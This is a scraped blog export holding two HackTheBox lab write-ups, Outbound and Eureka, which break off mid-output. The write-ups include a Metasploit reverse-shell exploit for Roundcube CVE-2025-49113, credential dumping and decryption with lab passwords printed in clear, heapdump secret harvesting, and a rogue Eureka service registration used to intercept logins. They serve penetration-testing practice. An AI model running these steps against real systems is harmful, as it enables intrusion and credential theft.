2025","externalUrl":null,"permalink":"/tags/below/","section":"Tags","summary":"","title":"Below","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/credential-decryption/","section":"Tags","summary":"","title":"Credential-Decryption","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/cve-2025-49113/","section":"Tags","summary":"","title":"Cve-2025-49113","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/database-dumping/","section":"Tags","summary":"","title":"Database-Dumping","type":"tags"},{"content":" Kill Chain # TL;DR Roundcube RCE to web shell, session decryption to pivot users, then sudo abuse of a vulnerable monitoring binary for root. Clean mail-server attack chain.\nEnumerated nginx web server redirecting to mail.outbound.htb. Identified Roundcube Webmail 1.6.10 vulnerable to CVE-2025-49113 (post-auth RCE). Used valid credentials (tyler) to exploit deserialization and gain www-data shell. Extracted Roundcube config, dumped MySQL sessions, and recovered encrypted credentials. Decrypted 3DES-encrypted password using des_key and auth_secret to pivot to jacob. Abused NOPASSWD sudo access to vulnerable below binary to escalate privileges and obtain root. Enumeration # Nmap # bashPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44= | 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD 80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://mail.outbound.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel So we setup /etc/hosts\nbashecho 10.10.11.77 outbound.htb mail.outbound.htb Other enumeration/fuzzing didn\u0026rsquo;t lead to anything, so we move on to the web app. {: .prompt-warning }\nFoothold # Accessing with the given credential of tyler leads to a vulnerable version of Roundcube Webmail 1.6.10 with CVE‑2025‑49113.\nThere is a metasploit exploit for this CVE :\nbashmsf6 \u0026gt; search CVE‑2025‑49113 [-] No results from search msf6 \u0026gt; search exploit roundcube Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/roundcube_auth_rce_cve_2025_49113 2025-06-02 excellent Yes Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Obj ect Deserialization \u0026lt;REDACTED\u0026gt; msf6 \u0026gt; use 0 [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) \u0026gt; set LHOST 10.10.14.194 LHOST =\u0026gt; 10.10.14.194 msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) \u0026gt; set USERNAME tyler USERNAME =\u0026gt; tyler msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) \u0026gt; set PASSWORD LhKL1o9Nm3X2 PASSWORD =\u0026gt; LhKL1o9Nm3X2 msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) \u0026gt; set RHOSTS mail.outbound.htb RHOSTS =\u0026gt; mail.outbound.htb msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) \u0026gt; run \u0026lt;REDACTED\u0026gt; meterpreter\u0026gt; But the thing is we still don\u0026rsquo;t have access with a user other than the www-data one.\nLateral Movement # Tyler User # Simply su tyler with the same password given as a foothold will land us a shell as tyler.\nAfter gaining shell access through meterpreter, I looked for config files using:\nbashfind / -name *conf* 2\u0026gt;/dev/null | grep roundcube And we get some config files with some interesting ones:\nbash$config[\u0026#39;db_dsnw\u0026#39;] = \u0026#39;mysql://\u0026lt;REDACTED\u0026gt;:\u0026lt;PASS\u0026gt;@localhost/\u0026lt;REDACTED\u0026gt;\u0026#39;; \u0026lt;REDACTED\u0026gt; $config[\u0026#39;des_key\u0026#39;] = \u0026#39;\u0026lt;REDACTED\u0026gt;\u0026#39;; $config[\u0026#39;des_key\u0026#39;] = \u0026#39;rcmail-!24ByteDESkey*Str\u0026#39;; Since the shell isn\u0026rsquo;t interactive, we should dump anything with one command:\nbashmysql -u roundcube -p\u0026lt;PASS\u0026gt; -h localhost roundcube -e \u0026#39;use roundcube;select * from session;\u0026#39; -E output*************************** 1. row *************************** [0/1902] sess_id: 6a5ktqih5uca6lj8vrmgh9v0oh changed: 2025-06-08 15:46:40 ip: 172.17.0.1 vars: \u0026lt;REDACTED\u0026gt; *************************** 2. row *************************** sess_id: c2r6gpikgg3rb5drcm62hr73sb changed: 2025-08-15 09:41:37 ip: 172.17.0.1 vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7dGVtcHxiOjE7cmVxdWVzdF90b2tlbnxzOjMyOiJRNkpncXhuUzdSenN0a1RMbVhTYTJwVGJPeTV2bXZJRCI7 *************************** 3. row *************************** sess_id: dd6meghpbbic254m3jjm208jjv changed: 2025-08-15 09:32:56 ip: 172.17.0.1 vars: \u0026lt;REDACTED\u0026gt; Now decoding the vars from the first session we get:\nbashlanguage|s:5:\u0026#34;en_US\u0026#34;;imap_namespace|a:4:{s:8:\u0026#34;personal\u0026#34;;a:1:{i:0;a:2:{i:0;s:0:\u0026#34;\u0026#34;;i:1;s:1:\u0026#34;/\u0026#34;;}}s:5:\u0026#34;other\u0026#34;;N;s:6:\u0026#34;shared\u0026#34;;N;s:10:\u0026#34;prefix_out\u0026#34;;s:0:\u0026#34;\u0026#34;;}imap_delimiter|s:1:\u0026#34;/\u0026#34;;imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:\u0026#34;jacob\u0026#34;;storage_host|s:9:\u0026#34;localhost\u0026#34;;storage_port|i:143;storage_ssl|b:0;password|s:32:\u0026#34;\u0026lt;REDACTED\u0026gt;\u0026#34;;login_time|i:1749397119;timezone|s:13:\u0026#34;Europe/London\u0026#34;;STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:\u0026#34;\u0026lt;REDACTED\u0026gt;\u0026#34;;request_token|s:32:\u0026#34;TIsOaABA1zHSXZOBpH6up5XFyayNRHaw\u0026#34;;task|s:4:\u0026#34;mail\u0026#34;;skin_config|a:7:{s:17:\u0026#34;supported_layouts\u0026#34;;a:1:{i:0;s:10:\u0026#34;widescreen\u0026#34;;}s:22:\u0026#34;jquery_ui_colors_theme\u0026#34;;s:9:\u0026#34;bootstrap\u0026#34;;s:18:\u0026#34;embed_css_location\u0026#34;;s:17:\u0026#34;/styles/embed.css\u0026#34;;s:19:\u0026#34;editor_css_location\u0026#34;;s:17:\u0026#34;/styles/embed.css\u0026#34;;s:17:\u0026#34;dark_mode_support\u0026#34;;b:1;s:26:\u0026#34;media_browser_css_location\u0026#34;;s:4:\u0026#34;none\u0026#34;;s:21:\u0026#34;additional_logo_types\u0026#34;;a:3:{i:0;s:4:\u0026#34;dark\u0026#34;;i:1;s:5:\u0026#34;small\u0026#34;;i:2;s:10:\u0026#34;small-dark\u0026#34;;}}imap_host|s:9:\u0026#34;localhost\u0026#34;;page|i:1;mbox|s:5:\u0026#34;INBOX\u0026#34;;sort_col|s:0:\u0026#34;\u0026#34;;sort_order|s:4:\u0026#34;DESC\u0026#34;;STORAGE_THREAD|a:3:{i:0;s:10:\u0026#34;REFERENCES\u0026#34;;i:1;s:4:\u0026#34;REFS\u0026#34;;i:2;s:14:\u0026#34;ORDEREDSUBJECT\u0026#34;;}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:\u0026#34;name\u0026#34;;s:8:\u0026#34;messages\u0026#34;;s:2:\u0026#34;id\u0026#34;;s:11:\u0026#34;messagelist\u0026#34;;s:5:\u0026#34;class\u0026#34;;s:42:\u0026#34;listing messagelist sortheader fixedheader\u0026#34;;s:15:\u0026#34;aria-labelledby\u0026#34;;s:22:\u0026#34;aria-label-messagelist\u0026#34;;s:9:\u0026#34;data-list\u0026#34;;s:12:\u0026#34;message_list\u0026#34;;s:14:\u0026#34;data-label-msg\u0026#34;;s:18:\u0026#34;The list is empty.\u0026#34;;}unseen_count|a:2:{s:5:\u0026#34;INBOX\u0026#34;;i:2;s:5:\u0026#34;Trash\u0026#34;;i:0;}folders|a:1:{s:5:\u0026#34;INBOX\u0026#34;;a:2:{s:3:\u0026#34;cnt\u0026#34;;i:2;s:6:\u0026#34;maxuid\u0026#34;;i:3;}}list_mod_seq|s:2:\u0026#34;10\u0026#34;; Jaccob User # The important fields are :\npassword . auth_secret . In Here we can find the way roundcube encrypts the database.\nSo using Cyberchef we can get the IV for the 3DES decryption, which is the first 8 bytes of the encrypted password (after decoding it with base64) With the final result of :\nWarning Note that the first 8 invalid characters are due to the recipe I put. I didn\u0026rsquo;t remove the first 8 bytes, so you can remove them manually and login with: jacob:595mO8DmwGeD\nUser Flag # Simply su as jacob and we can read the Inbox mails with clear-text creds:\nbashssh jacob@10.10.11.77 User Owned User owned! Let\u0026rsquo;s move on.\nPrivilege Escalation # bashjacob@outbound:~$ sudo -l Matching Defaults entries for jacob on outbound: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User jacob may run the following commands on outbound: (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d* Below is a resource monintoring tool, already mentionned in a mail, which we will try to exploit and gain higher privileges since we can run it as sudo.\nbashjacob@outbound:~$ sudo /usr/bin/below -h Usage: below [OPTIONS] [COMMAND] Commands: live Display live system data (interactive) (default) record Record local system data (daemon mode) replay Replay historical data (interactive) debug Debugging facilities (for development use) dump Dump historical data into parseable text format snapshot Create a historical snapshot file for a given time range help Print this message or the help of the given subcommand(s) Options: --config \u0026lt;CONFIG\u0026gt; [default: /etc/below/below.conf] -d, --debug -h, --help Print help Some searching leads to: And we confirm we\u0026rsquo;re indeed vulnerable:\nJust search for anyt poc online, the exploit isn\u0026rsquo;t hard. And we succesfully get the root flag.\nRoot Flag # Rooted Rooted! Great interesting machine. GG to the Author!\n","date":"15 August 2025","externalUrl":null,"permalink":"/writeups/htb-outbound/","section":"Writeups","summary":"Easy-rated HackTheBox Linux Lab.","title":"HackTheBox - Outbound","type":"writeups"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/local-privilege-escalation/","section":"Tags","summary":"","title":"Local-Privilege-Escalation","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/mail-server/","section":"Tags","summary":"","title":"Mail-Server","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/meterpreter/","section":"Tags","summary":"","title":"Meterpreter","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/php-deserialization/","section":"Tags","summary":"","title":"Php-Deserialization","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/roundcube/","section":"Tags","summary":"","title":"Roundcube","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/session-hijacking/","section":"Tags","summary":"","title":"Session-Hijacking","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/webmail/","section":"Tags","summary":"","title":"Webmail","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/actuator/","section":"Tags","summary":"","title":"Actuator","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/eureka/","section":"Tags","summary":"","title":"Eureka","type":"tags"},{"content":" Kill Chain # TL;DR Found open ports and identified Spring Boot via error pages. Used /etc/hosts and fuzzing to discover actuator endpoints. Retrieved credentials from exposed diagnostics and heap dumps. Logged in using valid creds. Found internal services and configs. Intercepted traffic via fake service registration. Reused internal creds to pivot. Exploited a root script parsing writable logs. Injected code for root access. Enumeration # Nmap # bashnmap $target -sV -sC -vv -Pn -oN eurika-default-scan PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0= | 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk= | 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://furni.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel And we add the required entry on /etc/hosts\nbashecho $target furni.htb eurika.htb | sudo tee -a /etc/hosts Web Recon # A bit further:\nbash$ curl -I http://furni.htb HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Aug 2025 23:39:32 GMT Content-Type: text/html;charset=UTF-8 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff X-XSS-Protection: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Language: en-US Whatweb # bash$ whatweb furni.htb http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0] Wappalyzer # Okay we have basic idea about the technology behind the web app.\nFuzzing # Both fuzzing for subdomains/vhosts and directories lead to nothing at first. Because I used the wrong wordlists.\nI ran these two commands:\noutputDirectory-Fuzzingffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://furni.htb/FUZZ And\noutputVHost-Fuzzingffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://furni.htb/ -H \u0026#34;Host: FUZZ.furni.htb\u0026#34; Which lead to nothing. I had no idea about what was the technology stack behind the machine, what is being created/sent/trasnferred or whatsoever.\nIn here, I was trying things with the session header in the /login and /register portals. Nothing went as I expected.\nUntil I stumbled upon an inexistent page. which showed this error page:\nA simple Google search and turns out that this is the default SpringBoot Error page.\nSo our goal now is to come back to fuzzing and recon to find some technology-specific endpoints, vhosts..etc which was fruitful.\nbash$ find /usr/share/seclists -name *springboot* 2\u0026gt;/dev/null \u0026lt;NOTHING\u0026gt; $ find /usr/share/seclists/ -name *Spring* 2\u0026gt;/dev/null /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt And we find /actuator directory.\nAlthough calling it \u0026ldquo;directory\u0026rdquo; is wrong, because Spring Boot Actuators are endpoints that provide monitoring and information about resources of endpoints using HTTP urls not really a physical dierctory.\nWithin the Actuator endpoint, we can access even more endpoints like /health, /info\u0026hellip;etc\nFoothold # A bit more fuzzing and we find the stuff:\nbashffuf -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt:FUZZ -u http://furni.htb/FUZZ Which can also be found using dirsearch\nbashdirsearch -u http://furni.htb/ -t 50 The thing that sounded the weirdest to be exposed was the /heapdump. Will come back to this in a moment.\nI prefered poking around some endpoints like\n/env: which exposed this directory : /var/www/web/Furni/src/main/resources/application.properties which we will need after in the foothold machine. And a mention about Eureka instance.\nBut a lot is censored like management.endpoints.web.exposure.include which tells what endpoints are included within /actuator\nSo, the others revealed nothing really import, jumping right into /actuator/heapdump.\nbashwget http://furni.htb/actuator/heapdump -O heapdump I searched for tools to analyze the file, they exist, but I found it difficuelt to use them: weird syntax, I didn\u0026rsquo;t where to look at.\nSo? Good old strings.\nbashstrings heapdump | less -S And then within the opened pager, I searched with /password and looped through the existing hits using the keystroke n.\nUntil I found these creds:{password=\u0026lt;PASSWORD\u0026gt;, user=\u0026lt;USER\u0026gt;}!\nSimply, SSH into the machine using:\nbashssh oscar190@furni.htb Lateral Movement # sudo -l made the server laugh at me. find / -perm -4000 2\u0026gt;/dev/null didn\u0026rsquo;t lead to nothing either. netstat -tulpn showed some services running on 8080, 8081, 8082. I overlookedone that was running on 8761. Which was the real target. I tried Local Port Forwarding of 8080, 8081 and 8082 using the following command:\nbashsudo -L 8080:localhost:8080 -L 8081:localhost:8081 -L 8082:localhost:8082 oscar190@furni.htb Which was completely wrong because those were microservices running for the service running on 8761. Which at this point, still haven\u0026rsquo;t figured it out.\nSo I ran the linpeas and got things about a service called Eureka at the directory mentionned in the /actuator/env endpoint.\nOnly now i port forwarded the service at 8761 to face this:\nSo we need creds. Let\u0026rsquo;s enumerate some more.\nTargets:\nbashls /var/www/web/ cloud-gateway Eureka-Server Furni static user-management-service Simply ran this following command and found some creds:\nbashgrep -ri password /var/www/web/* We need a username for the second password. So navigating to that yaml file and we get the creds:\nyamlspring: application: name: \u0026#34;Eureka Server\u0026#34; security: user: name: \u0026lt;USER\u0026gt; password:\u0026lt;PASS\u0026gt; server: port: 8761 address: 0.0.0.0 eureka: client: register-with-eureka: false fetch-registry: false And we connect to the forwarded service, to find a Goldmine:\nThose were the services I was trying to forward alone without the Eureka service.\nA bit of research showed that this exposure of the registry server is a critical vulnerability that could lead us to RCE.\nOur goal now is to create a malicious micro-service-look-alike, we might hijack internal services connections, exploit some SSRF and exploit the target\u0026rsquo;s traffic.\nIn here, I foudn the correct idea, but port-forwarding the microservices ports was the issue.\nWe need to use that port as a listener and act as the legit one.\nSo i broke the portwrwarding connection and did this:\nFirst we start a listener at 8081:\nbashnc -nlvp 8081 And then run:\nbashcurl -X POST http://user:pass@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;Accept: application/json\u0026#34; -d \u0026#39;{ \u0026#34;instance\u0026#34;: { \u0026#34;hostName\u0026#34;: \u0026#34;\u0026lt;YOUR IP\u0026gt;\u0026#34;, \u0026#34;app\u0026#34;: \u0026#34;USER-MANAGEMENT-SERVICE\u0026#34;, \u0026#34;vipAddress\u0026#34;: \u0026#34;USER-MANAGEMENT-SERVICE\u0026#34;, \u0026#34;secureVipAddress\u0026#34;: \u0026#34;USER-MANAGEMENT-SERVICE\u0026#34;, \u0026#34;ipAddr\u0026#34;: \u0026#34;\u0026lt;YOUR IP\u0026gt;\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;UP\u0026#34;, \u0026#34;port\u0026#34;: { \u0026#34;$\u0026#34;: 8081, \u0026#34;@enabled\u0026#34;: true }, \u0026#34;dataCenterInfo\u0026#34;: { \u0026#34;@class\u0026#34;: \u0026#34;com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;MyOwn\u0026#34; } } }\u0026#39; After some time, we will get a hit back containing valid miranda-wise creds. And logging in as miranda-wise will get us the user flag.\nbashssh miranda-wise@10.10.11.66 User flag owned. Privilege Escalation # Recon # Now aiming at the root user, the usual recon:\nbashid \u0026amp;\u0026amp; uname -a And of course:\nbashsudo -l This lead to nothing Can\u0026rsquo;t run it.\nbashfind / -perm -4000 2\u0026gt;/dev/null Nothing, except a rabbit hole I created for myself by searching for dmcrypt-get-device binary. I don\u0026rsquo;t know why either.\nbashnetstat -tulpn Nothing new, the same microservices from before.\nbashps aux | grep root \u0026lt;REDACTED\u0026gt; root 962398 0.0 0.0 2608 592 ? Ss 20:00 0:00 /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh root 962402 0.0 0.0 6892 3420 ? S 20:00 0:00 /bin/bash /opt/scripts/miranda-Login-Simulator.sh \u0026lt;REDACTED\u0026gt; Okay, a script running with sudo privileges, but we don\u0026rsquo;t have permissions over the whole /opt/scripts directory.\nBUT.\nAn interesting script at the /opt directory:\noutput/opt/log_analyse.sh#!/bin/bash # Colors GREEN=\u0026#39;\\033[0;32m\u0026#39; RED=\u0026#39;\\033[0;31m\u0026#39; YELLOW=\u0026#39;\\033[1;33m\u0026#39; BLUE=\u0026#39;\\033[0;34m\u0026#39; CYAN=\u0026#39;\\033[0;36m\u0026#39; RESET=\u0026#39;\\033[0m\u0026#39; LOG_FILE=\u0026#34;$1\u0026#34; OUTPUT_FILE=\u0026#34;log_analysis.txt\u0026#34; declare -A successful_users # Associative array: username -\u0026gt; count declare -A failed_users # Associative array: username -\u0026gt; count STATUS_CODES=(\u0026#34;200:0\u0026#34; \u0026#34;201:0\u0026#34; \u0026#34;302:0\u0026#34; \u0026#34;400:0\u0026#34; \u0026#34;401:0\u0026#34; \u0026#34;403:0\u0026#34; \u0026#34;404:0\u0026#34; \u0026#34;500:0\u0026#34;) # Indexed array: \u0026#34;code:count\u0026#34; pairs if [ ! -f \u0026#34;$LOG_FILE\u0026#34; ]; then echo -e \u0026#34;${RED}Error: Log file $LOG_FILE not found.${RESET}\u0026#34; exit 1 fi analyze_logins() { # Process successful logins while IFS= read -r line; do username=$(echo \u0026#34;$line\u0026#34; | awk -F\u0026#34;\u0026#39;\u0026#34; \u0026#39;{print $2}\u0026#39;) if [ -n \u0026#34;${successful_users[$username]+_}\u0026#34; ]; then successful_users[$username]=$((successful_users[$username] + 1)) else successful_users[$username]=1 fi done \u0026lt; \u0026lt;(grep \u0026#34;LoginSuccessLogger\u0026#34; \u0026#34;$LOG_FILE\u0026#34;) # Process failed logins while IFS= read -r line; do username=$(echo \u0026#34;$line\u0026#34; | awk -F\u0026#34;\u0026#39;\u0026#34; \u0026#39;{print $2}\u0026#39;) if [ -n \u0026#34;${failed_users[$username]+_}\u0026#34; ]; then failed_users[$username]=$((failed_users[$username] + 1)) else failed_users[$username]=1 fi done \u0026lt; \u0026lt;(grep \u0026#34;LoginFailureLogger\u0026#34; \u0026#34;$LOG_FILE\u0026#34;) } analyze_http_statuses() { # Process HTTP status codes while IFS= read -r line; do code=$(echo \u0026#34;$line\u0026#34; | grep -oP \u0026#39;Status: \\K.*\u0026#39;) found=0 # Check if code exists in STATUS_CODES array for i in \u0026#34;${!STATUS_CODES[@]}\u0026#34;; do existing_entry=\u0026#34;${STATUS_CODES[$i]}\u0026#34; existing_code=$(echo \u0026#34;$existing_entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f1) existing_count=$(echo \u0026#34;$existing_entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2) if [[ \u0026#34;$existing_code\u0026#34; -eq \u0026#34;$code\u0026#34; ]]; then new_count=$((existing_count + 1)) STATUS_CODES[$i]=\u0026#34;${existing_code}:${new_count}\u0026#34; break fi done done \u0026lt; \u0026lt;(grep \u0026#34;HTTP.*Status: \u0026#34; \u0026#34;$LOG_FILE\u0026#34;) } analyze_log_errors(){ # Log Level Counts (colored) echo -e \u0026#34;\\n${YELLOW}[+] Log Level Counts:${RESET}\u0026#34; log_levels=$(grep -oP \u0026#39;(?\u0026lt;=Z )\\w+\u0026#39; \u0026#34;$LOG_FILE\u0026#34; | sort | uniq -c) echo \u0026#34;$log_levels\u0026#34; | awk -v blue=\u0026#34;$BLUE\u0026#34; -v yellow=\u0026#34;$YELLOW\u0026#34; -v red=\u0026#34;$RED\u0026#34; -v reset=\u0026#34;$RESET\u0026#34; \u0026#39;{ if ($2 == \u0026#34;INFO\u0026#34;) color=blue; else if ($2 == \u0026#34;WARN\u0026#34;) color=yellow; else if ($2 == \u0026#34;ERROR\u0026#34;) color=red; else color=reset; printf \u0026#34;%s%6s %s%s\\n\u0026#34;, color, $1, $2, reset }\u0026#39; # ERROR Messages error_messages=$(grep \u0026#39; ERROR \u0026#39; \u0026#34;$LOG_FILE\u0026#34; | awk -F\u0026#39; ERROR \u0026#39; \u0026#39;{print $2}\u0026#39;) echo -e \u0026#34;\\n${RED}[+] ERROR Messages:${RESET}\u0026#34; echo \u0026#34;$error_messages\u0026#34; | awk -v red=\u0026#34;$RED\u0026#34; -v reset=\u0026#34;$RESET\u0026#34; \u0026#39;{print red $0 reset}\u0026#39; # Eureka Errors eureka_errors=$(grep \u0026#39;Connect to http://localhost:8761.*failed: Connection refused\u0026#39; \u0026#34;$LOG_FILE\u0026#34;) eureka_count=$(echo \u0026#34;$eureka_errors\u0026#34; | wc -l) echo -e \u0026#34;\\n${YELLOW}[+] Eureka Connection Failures:${RESET}\u0026#34; echo -e \u0026#34;${YELLOW}Count: $eureka_count${RESET}\u0026#34; echo \u0026#34;$eureka_errors\u0026#34; | tail -n 2 | awk -v yellow=\u0026#34;$YELLOW\u0026#34; -v reset=\u0026#34;$RESET\u0026#34; \u0026#39;{print yellow $0 reset}\u0026#39; } display_results() { echo -e \u0026#34;${BLUE}----- Log Analysis Report -----${RESET}\u0026#34; # Successful logins echo -e \u0026#34;\\n${GREEN}[+] Successful Login Counts:${RESET}\u0026#34; total_success=0 for user in \u0026#34;${!successful_users[@]}\u0026#34;; do count=${successful_users[$user]} printf \u0026#34;${GREEN}%6s %s${RESET}\\n\u0026#34; \u0026#34;$count\u0026#34; \u0026#34;$user\u0026#34; total_success=$((total_success + count)) done echo -e \u0026#34;${GREEN}\\nTotal Successful Logins: $total_success${RESET}\u0026#34; # Failed logins echo -e \u0026#34;\\n${RED}[+] Failed Login Attempts:${RESET}\u0026#34; total_failed=0 for user in \u0026#34;${!failed_users[@]}\u0026#34;; do count=${failed_users[$user]} printf \u0026#34;${RED}%6s %s${RESET}\\n\u0026#34; \u0026#34;$count\u0026#34; \u0026#34;$user\u0026#34; total_failed=$((total_failed + count)) done echo -e \u0026#34;${RED}\\nTotal Failed Login Attempts: $total_failed${RESET}\u0026#34; # HTTP status codes echo -e \u0026#34;\\n${CYAN}[+] HTTP Status Code Distribution:${RESET}\u0026#34; total_requests=0 # Sort codes numerically IFS=$\u0026#39;\\n\u0026#39; sorted=($(sort -n -t\u0026#39;:\u0026#39; -k1 \u0026lt;\u0026lt;\u0026lt;\u0026#34;${STATUS_CODES[*]}\u0026#34;)) unset IFS for entry in \u0026#34;${sorted[@]}\u0026#34;; do code=$(echo \u0026#34;$entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f1) count=$(echo \u0026#34;$entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2) total_requests=$((total_requests + count)) # Color coding if [[ $code =~ ^2 ]]; then color=\u0026#34;$GREEN\u0026#34; elif [[ $code =~ ^3 ]]; then color=\u0026#34;$YELLOW\u0026#34; elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color=\u0026#34;$RED\u0026#34; else color=\u0026#34;$CYAN\u0026#34; fi printf \u0026#34;${color}%6s %s${RESET}\\n\u0026#34; \u0026#34;$count\u0026#34; \u0026#34;$code\u0026#34; done echo -e \u0026#34;${CYAN}\\nTotal HTTP Requests Tracked: $total_requests${RESET}\u0026#34; } # Main execution analyze_logins analyze_http_statuses display_results | tee \u0026#34;$OUTPUT_FILE\u0026#34; analyze_log_errors | tee -a \u0026#34;$OUTPUT_FILE\u0026#34; echo -e \u0026#34;\\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}\u0026#34; The file might lead to something since it is owned by root, and accepts a user input. With some tempering, we might get something back.\nOnly if we get this file to be executed, which is indeed being regularly.\nWhich is confirmed by pspsy tool.\nbashattack-host$ scp pspy64 miranda-wise@10.10.11.66 miranda-wise$ pspy64 \u0026lt;REDACTED\u0026gt; 2025/08/05 20:18:03 CMD: UID=0 PID=986618 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 2025/08/05 20:18:03 CMD: UID=0 PID=986621 | /bin/bash 